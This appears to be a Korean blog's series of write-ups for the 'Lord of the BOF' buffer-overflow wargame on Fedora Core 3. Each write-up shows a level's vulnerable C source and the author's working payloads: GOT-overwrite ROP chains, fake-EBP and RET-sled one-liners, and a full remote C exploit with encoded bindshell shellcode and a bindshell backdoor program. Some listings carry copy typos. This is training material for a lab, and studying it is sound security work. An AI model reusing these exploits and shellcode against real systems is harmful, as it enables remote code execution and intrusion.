Wargame/LOB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - dark_stone
    - Remote BOF on Fedora Core 3 
    - hint : GOT overwriting again
    - port : TCP 8888
*/
 
#include <stdio.h>
 
// magic potion for you
void pop_pop_ret(void)
{
    asm("pop %eax");
    asm("pop %eax");
    asm("ret");
}
 
int main()
{
    char buffer[256];
    char saved_sfp[4];
    int length; 
    char temp[1024];
 
    printf("dark_stone : how fresh meat you are!\n");
    printf("you : ");
    fflush(stdout);
 
    // give me a food
    fgets(temp, 1024, stdin);
 
    // for disturbance RET sleding
    length = strlen(temp);
   
    // save sfp 
    memcpy(saved_sfp, buffer+2644);
 
    // overflow!!
    strcpy(buffer, temp);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
    // buffer cleaning 
    memset(0xf6ffe00000xf7000000-0xf6ffe000);
 
    printf("%s\n", buffer);
}
 
cs


힌트로는 GOT overwriting again이다. 하지만 저번과 다른점은 remote란 점일까... 포트도 주어졌다. TCP 8888


일단 코드를 찬찬히 분석해보자. sfp는 변조불가능하고, ret sled도 막혀있고, buffer도 싹 지워버린다.

저번에 썻던 코드를 가져와서 재활용해야겠다. 


memcpy_plt : 0x8048418

strcpy_plt :  0x8048438

memcpy_got : 0x8049850   //값: 0x0804841e


pop-pop-ret : 0x080484f3


/bin/sh : 0x833603


system : 0x7507c0


c0 : 0x80484d9

07 : 0x8048364

75 : 0x8048740

00 : 0x8049814



아까와 똑같이 짜서 했는데 안된다... 왜 안되는가 고민했는데... 일단 추측하기로는 got.plt를 덮어쓰다가 .data까지 침범해서라는 것이다.

memcpy_got : 0x8049850 는 .data와 매우 가까운 위치에 있다.



그래서 .data를 지나서 bss영역을 이용하기로 했다.



다행히 w가 가능한 공간이다.


적당한 위치를 잡고 복사를 진행하자.



0x8049888로 잡겠다. 소스는 아래와 같이 짜였다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from struct import *
= lambda x : pack('<L', x)
 
memcpy_plt = p(0x8048418)
strcpy_plt = p(0x8048438)
memcpy_got = 0x8049850
 
bss = 0x8049888
 
ppr = p(0x080484f3)
bin_sh=p(0x833603)
 
payload  = "A"*268
payload += strcpy_plt+ppr+p(bss)+p(0x80484d9)
payload += strcpy_plt+ppr+p(bss+1)+p(0x8048364)
payload += strcpy_plt+ppr+p(bss+2)+p(0x8048740)
payload += strcpy_plt+ppr+p(bss+3)+p(0x8049814)
payload += strcpy_plt+ppr+p(memcpy_got)+p(bss)
payload += memcpy_plt + "BBBB" + bin_sh
 
print(payload)
 
cs


공격!



성공~~



아이템을 획득하였당... 다음은 FC4인가


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - evil_wizard
    - Local BOF on Fedora Core 3 
    - hint : GOT overwriting
*/
 
// magic potion for you
void pop_pop_ret(void)
{
    asm("pop %eax");
    asm("pop %eax");
    asm("ret");
}
 
int main(int argc, char *argv[])
{
    char buffer[256];
    char saved_sfp[4];
    int length; 
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // for disturbance RET sleding
    length = strlen(argv[1]);
   
        // healing potion for you
        setreuid(geteuid(), geteuid());
        setregid(getegid(), getegid());
 
    // save sfp 
    memcpy(saved_sfp, buffer+2644);
 
    // overflow!!
    strcpy(buffer, argv[1]);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
    printf("%s\n", buffer);
}
 
cs


힌트는 GOT overwrite다. 아예 매직포션이라고 pop-pop-ret 가젯을 준다.

힐링포션으로 setreuid도 해주므로... 우리가 할 것은 system함수로 "/bin/sh" 등을 인자로 넣어주면 될 것같다.


코드를 보면 ret sled는 막혓고(스택에 있는 값을 지워버린다) sfp또한 저장되었다가 restore된다.

GOT overwrite를 수행해야한다...


필요한 가젯들을 모아보자.


memcpy_plt : 0x8048434

strcpy_plt : 0x8048494

memcpy_got : 0x8049888    //값: 0x007854c0


pop-pop-ret : 0x0804854f


/bin/sh : 0x833603


system : 0x7507c0

c0 : //memcpy_got의 마지막값이 c0이라 일단 보류

07 : 0x8048154

75 : 0x80482c8

00 : 0x8049840


objdump와 grep을 쓰면 system함수를 만들 가젯들을 찾기 쉽다.


objdump -s evil_wizard | grep ?? --color=auto



strcpy(memcpy_got, &c0), strcpy(memcpy_got+1, &07), strcpy(memcpy_got+2, &75), strcpy(memcpy_got+3, &00)을 수행하면 되고


이것들을 연속적으로 호출하기 위해서 pop-pop-ret가젯이 필요하다.


strcpy주소 - ppr주소 - 인자1 - 인자2 - strcpy주소 - ppr주소 .... 이런식으로 이뤄진다.


payload를 짜보자. python을 이용하겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from struct import *
= lambda x : pack('<L', x)
 
memcpy_plt = p(0x8048434)
strcpy_plt = p(0x8048494)
memcpy_got = 0x8049888
 
ppr = p(0x0804854f)
bin_sh=p(0x833603)
 
payload  = "A"*268
payload += strcpy_plt+ppr+p(memcpy_got+1)+p(0x8048154)
payload += strcpy_plt+ppr+p(memcpy_got+2)+p(0x80482c8)
payload += strcpy_plt+ppr+p(memcpy_got+3)+p(0x8049840)
payload += memcpy_plt + "BBBB" + bin_sh
 
 
 
 
 
print(payload)
 
cs


공격!!!!



한번에 성공했다... 이럴수가;; 굿...


/*
    The Lord of the BOF : The Fellowship of the BOF 
    - hell_fire
    - Remote BOF on Fedora Core 3 
    - hint : another fake ebp or got overwriting 
    - port : TCP 7777
*/
 
#include <stdio.h>
 
int main()
{
    char buffer[256];
    char saved_sfp[4];
    char temp[1024];
  
    printf("hell_fire : What's this smell?\n");
    printf("you : ");
    fflush(stdout);
 
    // give me a food
    fgets(temp, 1024, stdin);
   
    // save sfp 
    memcpy(saved_sfp, buffer+2644);
 
    // overflow!!
    strcpy(buffer, temp);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
    printf("%s\n", buffer);
}
 
cs


음.. 힌트로는 another fake ebp or got overwrite이다.


먼저 got overwrite!! 이건 pop-pop-ret 가젯을 찾을수가 없어서 포기...

일단 어떤 방법들이 있나 보자.


1. fake ebp, mprotect를 사용하여 메모리공간에 x권한을 주고 shell코드 실행

2. fake ebp, execve를 이용하는 방법 (system은 왜인지 못써먹는다 ㅡ;; execl도 되지않을까싶은데?)


3. do_system 사용 (0x00750784 <do_system+1124>)


3번이 제일 쉽다.

바로 해보자.


payload : (python -c 'print("A"*268+"\x84\x07\x75\x00")';cat) | nc localhost 7777



굿.. 성공.


다음으로 1이나 2의 방법을 써볼까했지만, 찾아보니 내가 got overwrite로 푼게 있어서 그걸 쓰기로했다.

1,2의 방법은 나중에 시간이 되면 해봐야겠다.


먼저 stack의 모습을 엑셀로 그려보면 아래와 같다.




buf+dummy로 264값을 놓고, sfp는 변조안되니 나두고


ret에 strcpy를 이용해 memcpy_got값을 execl+3의 주소값으로 복사해주고, memcpy_plt로 뛰어주면

memcpy_got가 execl+3의 주소로 되어있어 execl+3으로 뛰게 된다.


이때 execl+3으로 뛰게되어 프롤로그는 생략되고, main이 종료되면서 ebp는 another sfp가 되어있다. (leave - pop ebp)

이 another sfp+8의 위치에 "/bin/sh"의 주소를 두면 execl로 "/bin/sh"가 실행되어 쉘이 실행되는 방식이다.




이제 필요한 값들을 구해보자.


0x80483bc memcpy.plt

0x80483cc strcpy.plt


memcpy 의 got위치

0x8049770 <_GLOBAL_OFFSET_TABLE_+28>: 0x007854c0


0x7a5720 <execl>


another ebp의 주소는 알 수 없으나 상대적인 주소는 알 수 있다.



96차이가 난다...


이제 payload를 구성해보자, strcpy의 변수로는 주소값이 들어가야하므로, 두번째 인자로 execl+3의 값이 들어있는곳의 주소를 넣어줘야하므로

payload의 구성이 끝난 뒤에 넣어주고 이 곳의 주소를 넣어주면 된다. fgets를 사용하므로 stdin의 주소에서 가져오면 된다.



일단 알고 있는 값으로 payload를 구성


payload : python -c 'print("A"*268+"\xcc\x83\x04\x08"+"\xbc\x83\x04\x08"+"\x70\x97\x04\x08"+"BBBB"+"C"*76+"ANOT"+"ARET"+"BINS"+"\x00\x00\x00\x00"+"\x23\x57\x7a\x00"+"\x00\x00\x00\x00"+"/bin/sh"+"\x00\x00\x00\x00")'


&(execl+3) : 0xf6ffe178

&(/bin/sh) : 0xf6ffe180


ㅡㅏㅏㅏㅏㅏㅏ


/bin/sh를 실행시키는 거였는데... 아무리해도 안된다; 왜 안되는거지 ㅡㅡ; 그러다가 /bin/my-pass로 바꾸어봣는데 이건 또 된다;;

(추측인데... /bin/sh가 실행안되는 이유는 setreuid가 걸려있지않아서 인것같다. )


payload : (python -c 'print("A"*268+"\xcc\x83\x04\x08"+"\xbc\x83\x04\x08"+"\x70\x97\x04\x08"+"\x78\xe1\xff\xf6"+"C"*76+"\x32\x32\xe1\xbf"+"ARET"+"\x7c\xe1\xff\xf6"+"\x00\x00\x00\x00"+"\x23\x57\x7a\x00"+"/bin/my-pass"+"\x00\x00\x00\x00")';cat) | nc localhost 7777



으어어.... execl을 실행시키는 방법을 해보겠다.


another fake ebp를 사용하는 것은 똑같다. 대신 아까와는 다르게 got overwrite를 쓰지않고 fake ebp로 stdin에 있는 /bin/my-pass의 값을 인자로 넣을수 있게 하면 된다.

실행하는 함수는 execl


0x08048561 <main+221>: leave  

0x08048562 <main+222>: ret   


payload : A*268 + leave-ret + "B"*88 + fakeEbp + execl + "AAAA" + &"/bin/sh" + null + "/bin/my-pass" + null


payload : (python -c 'print("A"*268+"\x61\x85\x04\x08"+"B"*88+"\x68\xe1\xff\xf6"+"\x23\x57\x7a\x00"+"\x78\xe1\xff\xf6"+"\x00\x00\x00\x00"+"/bin/sh"+"\x00\x00\x00\x00")';cat) | nc localhost 7777



구ㅜㅜㅜ웃....


엄청 힘드네 ;;



/*
    The Lord of the BOF : The Fellowship of the BOF 
    - dark_eyes
    - Local BOF on Fedora Core 3 
    - hint : RET sleding
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];
    char saved_sfp[4];
    
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
   
    // save sfp 
    memcpy(saved_sfp, buffer+2644);
 
    // overflow!!
    strcpy(buffer, argv[1]);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
    printf("%s\n", buffer);
}
 
cs

이것이야 말로... ret sled네

저번에 한대로 그대로 하겠다. 여기 참고 http://xerxes-break.tistory.com/260?category=729571


0x080484b9 <main+177>: ret



payload : ./dark_eyes "`python -c 'print("A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a")'`"







[LOB FC3] gate -> iron_golem

2018. 4. 25. 22:20

음... LOB는 여기서 writeup을 접으려했으나;


역시 끝까지 다하는게 좋을거같아서 적는다.


/*
    The Lord of the BOF : The Fellowship of the BOF 
    - iron_golem
    - Local BOF on Fedora Core 3 
    - hint : fake ebp
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
 
cs


힌트는 fake ebp!


하지만 ret sled로도 풀수 있다.

하지만 뭐... fake ebp라니까 먼저 이쪽으로 해보자


구성은


buf(256) + fakeEbp(4) + [execl주소+3](4)


(gdb) p execl

$1 = {<text variable, no debug info>} 0x7a5720 <execl>


execl의 주소는 구하였고, execl+3을 하면 프롤로그 생략이 가능해서 fakeEbp를 그대로 쓸 수 있다.
(leave : mov esp ebp, pop ebp
 ret : pop eip, jump eip   )


Dump of assembler code for function execl:

0x007a5720 <execl+0>: push   ebp

0x007a5721 <execl+1>: mov    ebp,esp

0x007a5723 <execl+3>: lea    ecx,[ebp+16]

0x007a5726 <execl+6>: push   edi

0x007a5727 <execl+7>: push   esi

0x007a5728 <execl+8>: push   ebx

0x007a5729 <execl+9>: sub    esp,0x1038

0x007a572f <execl+15>: mov    eax,DWORD PTR [ebp+12]

0x007a5732 <execl+18>: mov    DWORD PTR [ebp-16],0x400 



이 부분에서 execl+3해서 프롤로그를 생략한다. 그럼 이제 fakeEbp+8의 위치에 execl의 인자로 쓸 값이 들어가면 된다.

int execl(const char *path, const char *arg0, ... , const char *argn, NULL); 
  path : 실행할 파일의 경로
  arg0 : 실행할 파일 명
  argn : arg0의 파일의 인자

마지막은 NULL로 끝을 알려준다.

execl("실행할 프로그램명", null); 로 구성해서 공격해보겠다.




fakeEbp의 위치로는  got가 적당할거 같아서 저쪽을 알아보자.



저곳을 사용하면 좋겠다. 0x0804954c의 값은 0x01이고 실행할때 마다 값이 변하지 않는다. 뒤에 0x0000(null)이 있으므로 인자의 끝을 넣기도 좋다.

실행할 파일이름을 0x01로 지정해주든... 심볼릭 링크를 걸든해서 설정해주고

저곳으로 FakeEBP(0x8049610)해주면 될것같다.


#include <stdlib.h>
 
int main()
{
    setreuid(geteuid(), geteuid());
    system("/bin/sh");
 
    return 0;
}
 
cs

이런 코드를 짠 후, 심볼릭 링크로 0x01을 설정해주었다.


buf(256) + fakeEbp(4) + [execl주소+3](4)




굿!!


한번 Ret sled도 써보겠다. 


ret sled로 스택을 이동하여 execl의 인자로 적당한 값이 있는 곳에서 execl을 실행하면 된다.



0x0083eff4 0x00000000 이 있고, 이 값은 변하지 않는다.(몇번 실행을 통해 알 수 있다.)

0x0083eff4의 값도 0x83ed3c로 고정되어 있으므로, ret sled로 주소값을 올려 저 값을 execl인자로 넣게 하자


ret주소 : 0x08048441

execl주소 : 0x7a5720


payload : /iron_golem "`python -c 'print("A"*268+"\x41\x84\x04\x08"*3+"\x20\x57\x7a\x00")'`"


참고로 \x20 이 엔터값이라서 큰 따옴표로 한번 묶어서 넣어줘야한다.



오키... 클리어



/*
    The Lord of the BOF : The Fellowship of the BOF 
    - hell_fire
    - Remote BOF on Fedora Core 3 
    - hint : another fake ebp or got overwriting 
    - port : TCP 7777
*/
 
#include <stdio.h>
 
int main()
{
    char buffer[256];
    char saved_sfp[4];
    char temp[1024];
  
    printf("hell_fire : What's this smell?\n");
    printf("you : ");
    fflush(stdout);
 
    // give me a food
    fgets(temp, 1024, stdin);
   
    // save sfp 
    memcpy(saved_sfp, buffer+2644);
 
    // overflow!!
    strcpy(buffer, temp);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
    printf("%s\n", buffer);
}
 
 
cs


일단 문제는 위와 같고.


이 문제를 another fake ebp로 해서 system함수를 불러와 풀려하였으나 실패하였다;


leave-ret을 2번 호출하여 ebp,esp를 stdin의 영역으로 보내고 거기서 system함수와 인자를 올려놓았으므로 호출하면 될 것같았으나;;

계속 죽어버린다 ㅡㅡ;; 참고로 system대신 execve를 썻을때는 이상하게 성공한다;;


이를 gdb로 분석해보니 아래와 같이 나온다.


먼저 system함수로 갈때이다.



이상한 주소에서 죽어버리고, 저 주소는 system함수가 아닌것 같다.



그리고 stdin의 상태를 보면 중간에 0x0000000 값들이나 일부 값들이 변경된것을 볼 수 있다.


아마 system함수를 실행하면 stdin에 어떤 동작을 하는것이거나 무슨 문제가 생긴것같다;.... 대체 왜 저런지는 아직 모르겠다.


다음으로 system함수 대신 execve함수를 실행했을 때다. 이것은 일부러 인자에 오류를 내보았다.



execve함수 안에서 죽는다.



system함수와는 다르게 그렇게 많이 변경되지는 않는다...


으마ㅏㅏㅣ이릐ㅏ


대체 뭐가 문제인거야 ㅡㅡ;


혹시 아시는 분은 알려주세요...





'Wargame > LOB' 카테고리의 다른 글

[LOB FC3] iron_golem -> dark_eyes  (0) 2018.04.25
[LOB FC3] gate -> iron_golem  (0) 2018.04.25
[LOB] xavius -> death_knight  (0) 2018.04.04
[LOB] nightmare -> xavius  (0) 2018.04.03
[LOB] succubus -> nightmare  (0) 2018.04.03

[LOB] xavius -> death_knight

2018. 4. 4. 12:40
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark knight
        - remote BOF
*/
 
#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <dumpcode.h>
 
main()
{
    char buffer[40];
 
    int server_fd, client_fd;  
    struct sockaddr_in server_addr;   
    struct sockaddr_in client_addr; 
    int sin_size;
 
    if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
        perror("socket");
        exit(1);
    }
 
    server_addr.sin_family = AF_INET;        
    server_addr.sin_port = htons(6666);   
    server_addr.sin_addr.s_addr = INADDR_ANY; 
    bzero(&(server_addr.sin_zero), 8);   
 
    if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
        perror("bind");
        exit(1);
    }
 
    if(listen(server_fd, 10== -1){
        perror("listen");
        exit(1);
    }
        
    while(1) {  
        sin_size = sizeof(struct sockaddr_in);
        if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
            perror("accept");
            continue;
        }
            
        if (!fork()){ 
            send(client_fd, "Death Knight : Not even death can save you from me!\n"520);
            send(client_fd, "You : "60);
            recv(client_fd, buffer, 2560);
            close(client_fd);
            break;
        }
            
        close(client_fd);  
        while(waitpid(-1,NULL,WNOHANG) > 0);
    }
    close(server_fd);
}
 
 
cs


시작

힌트는 remote BOF이다. nc로 접속해보려했더니 안되서 telnet으로 접속했다.



소스코드를 보면 포트 6666을 열어두고 여기로 접속하면, 사용자로부터 256자를 받는다.

원격으로 접속하지않고 그냥 프로그램을 실행하게 되면 bind: Address already in use 라고 뜨는데 

이건 소켓 바인딩 후 포트가 열린채로 프로세스가 살아 있기 때문에 중복으로 같은 포트로 바인딩을 시도하면 발생하는 오류라고 한다.


이미 포트 6666으로 열려있어서 그런것같다.



으아 아아아... 뭘 입력해도 Connection closed by foreign host.가 뜨고 종료된다. 성공했는지 실패했는지도 알 수 가 없다.

일단 http://bbolmin.tistory.com/51에 remote bof에 대해 설명해놓아서 보고왔다.


그 외 해커스쿨 : 

http://research.hackerschool.org/Datas/Research_Lecture/remote1.txt

http://research.hackerschool.org/Datas/Research_Lecture/remote2.txt


왜 그냥 계속 종료되는지 이유를 알았다.

Xinetd와 연결되지 않는 독립적인 네트워크 프로그램. 즉, 직접 socket을 생성하고, bind와 listen 과정을 거쳐 accept로 클라이언트의 연결을 기다리는 프로그램으로의 입력과 출력은 프로그램 내에 구현된 send()와 recv() 등의 함수에 의한 통신만 가능하다.
따라서, 이러한 프로그램을 공격하여 쉘을 획득하였을 경우엔 그 쉘과 공격자가 서로 통신을 할 수 있는 매개체가 존재하지 않는 상태가 되어버린다. 결국, 공격자가 공격에 성공한다 하더라도 자유로운 쉘 권한은 획득할 수 없는것이다.

즉.. 공격자가 공격에 성공하여 쉘을 획득했다하더라도, 프로그램에 구현된 send()와 recv()를 통해서만 통신이 가능한데, 이미 이 역할은 끝나버렸으므로 쉘을 획득하여도 공격자와 이 쉘이 서로 통신할 수 있는 매개체가 없는 것이다.


그래서 이 때 쓸 수 있는 쉘코드로 BindShell이라는 것이 있다.

하지만, 가장 효율적이고 실제로 해커들이 가장 많이 사용하는 방법은 바로 취약 프로그램과는 별개의 새로운 소켓을 생성하고, 포트를 열고, 그것을 "/bin/bash"와 연결시키는 이른바 Bindshell 백도어를 실행하는 것이다. 이 백도어를 실행한 후, telnet 등을 이용하여 포트에 접속한다면, 직접 "/bin/bash"를 실행하는 것과는 다른 방법으로 쉘을 획득할 수 있게 된다. 

바인드 쉘 프로그램을 C언어로 구현한 것 중 하나를 가져와봤다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
int main()
{
        int sockfd, your_sockfd, len;
        struct sockaddr_in my_addr, your_addr;
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        my_addr.sin_family = AF_INET;
        my_addr.sin_port = htons(12345);
        my_addr.sin_addr.s_addr = INADDR_ANY;
        memset(&my_addr.sin_zero, 08);
 
        if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(my_addr))==-1){
                perror("bind");
                exit(-1);
        }
        listen(sockfd, 5);
 
        len = sizeof(your_addr);
        your_sockfd = accept(sockfd, (struct sockaddr *)&your_addr, &len);
 
        dup2(your_sockfd, 0);    // 표준 입력을 클라이언트로..
        dup2(your_sockfd, 1);    // 표준 출력을 클라이언트로..
        dup2(your_sockfd, 2);    // 에러 출력을 클라이언트로..
 
        execl("/bin/bash""bash"0);
 
        close(sockfd);
        close(your_sockfd);
}
cs



해캠에서 가져온 소스를 조금 수정해서 공격해보겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
char shellcode[] = 
"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"
"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"
"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"
"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"
"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"
"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"
"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"
"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";
 
void Get_Shell(int sockfd)
{
        int length;
        char data[1024];
        fd_set read_fds;
 
        while(1){
                FD_ZERO(&read_fds);
                FD_SET(sockfd, &read_fds);
                FD_SET(0&read_fds);
 
                select(sockfd+1&read_fds, NULLNULLNULL);
 
                // 소켓으로부터 data가 왔을 때의 처리.
                if(FD_ISSET(sockfd, &read_fds)){
                        length = recv(sockfd, data, 10240);
                        // 받은 내용을 화면에 출력한다.
                        if(write(1, data, length) == 0)
                                break;
                }
 
                // 공격자가 키보드를 입력했을 때의 처리.
                if(FD_ISSET(0&read_fds)){
                        length = read(0, data, 1024);
                        // 입력한 내용을 쉘백도어로 전송한다.
                        if(send(sockfd, data, length, 0== 0)
                                break;
                }
        }
}
 
int Check_Result(void)
{
        int sockfd;
        struct sockaddr_in target_addr;
 
        target_addr.sin_family = AF_INET;
        target_addr.sin_port = htons(31337);
        target_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
        bzero(&target_addr.sin_zero, 08);
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){
                close(sockfd);
                return 0;
        }
        else{
                // 공격에 성공하였다면, 확인 명령을 전송하고 쉘 연결.
                send(sockfd, "uname -a;id\n"120);
                Get_Shell(sockfd);
                close(sockfd);
                return 1;
        }
}
 
int main()
{
        char Attack_String[300], Cmd[400];
        int Ret_Addr = 0xbfffffff;
 
        memset(Attack_String, '\x90'256);
    //memset(Attack_String, 'A', 48);
        memcpy(Attack_String+100, shellcode, strlen(shellcode));
 
        while(1){
                memcpy(&Attack_String[44], &Ret_Addr, 4);
                Ret_Addr -= 52;
                printf("%p\n", Ret_Addr);
 
                sprintf(Cmd, "echo \"%s\" | telnet localhost 6666", Attack_String);
                system(Cmd);
        
                if(Check_Result()){
                        printf("Exploit Succeed.!\n");
                        exit(0);
                }
        
        }
}
 
cs


근데 이게 안된다.... 하ㅏ;;;


한참 삽질하다가 왠지 왜 안되는지 모르겠다 ㅇㅇ;


일단 저 sprintf로 telnet localhost 6666에 echo해서 어택스트링을 넣는데 이걸 이렇게 쓰지말고 socket으로 연결해서 send해보겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
char shellcode[] = 
"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"
"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"
"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"
"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"
"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"
"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"
"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"
"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";
 
 
int main()
{
        char Attack_String[300];
        int Ret_Addr = 0xbfffffff;
    int sockfd;
        struct sockaddr_in target_addr;
        
        memset(Attack_String, '\x90'256);
        memcpy(Attack_String+100, shellcode, strlen(shellcode));
 
        while(1){
            memset(&target_addr, 0sizeof(target_addr));
            target_addr.sin_family = AF_INET;
            target_addr.sin_port = htons(6666);
            target_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
 
 
            sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
            if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){
                    printf("connect error!\n");
                    close(sockfd);
                    return 0;
            }
            memcpy(Attack_String+44&Ret_Addr, 4);
            Ret_Addr -= 52;
            
            printf("%p\n", Ret_Addr);
            send(sockfd, Attack_String, strlen(Attack_String), 0);
            
            system("telnet localhost 31337");
            close(sockfd);
            sleep(1);
        }
        
}
 
cs


위와 같이 짜서 공격하였다.


이제는 된다;;




찾아보니 BindShell말고도 리버스쉘이라고 공격자의 열려있는 포트로 서버가 접속하도록 하는 것이 있다.

이 문제는 리버스쉘로 푼 사람들이 많다. 


바인드쉘은 서버가 다른 포트를 열게하는 것이라면, 리버스쉘은 서버가 공격자의 서버로 접속하게 하는것!


리버스쉘  https://www.exploit-db.com/exploits/25497/


위에 가면 리버스쉘을 구성할 수 있다. 나중에 심심하면 한번 해보자.





[LOB] nightmare -> xavius

2018. 4. 3. 23:39
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
 
main()
{
    char buffer[40];
    char *ret_addr;
 
    // overflow!
    fgets(buffer, 256, stdin);
    printf("%s\n", buffer);
 
    if(*(buffer+47== '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }
 
    if(*(buffer+47== '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }
 
    // check if the ret_addr is library function or not
    memcpy(&ret_addr, buffer+444);
    while(memcmp(ret_addr, "\x90\x90"2!= 0)    // end point of function
    {
        if(*ret_addr == '\xc9'){        // leave
            if(*(ret_addr+1== '\xc3'){    // ret
                printf("You cannot use library function!\n");
                exit(0);
            }
        }
        ret_addr++
    }
 
        // stack destroyer
        memset(buffer, 044);
    memset(buffer+4800xbfffffff - (int)(buffer+48));
 
    // LD_* eraser
    // 40 : extra space for memset function
    memset(buffer-300003000-40);
}
 
cs


시작


코드분석! fgets으로 입력을 256까지 받고 여기서 오버플로우가 발생한다.


buffer+47(ret+3)의 값이 0xbf이나 0x08이면 exit한다. ret주소를 검사해서 라이브러리나 스택으로 점프하는 것을 막는 코드다.

또 while문에 들어가 ret의 주소에 있는 값이 nop nop(0x9090)이 아니라면 이 값을 만날때까지 반복하여 코드에 leave-ret 값이 있나 검사해 있다면 exit한다. (이것도 라이브러리로 못가게하는 코드)

그리고 ret를 제외한 buffer~스택영역을 파괴한다;; 덤으로 LD_PRELOAD도 지워버린다.


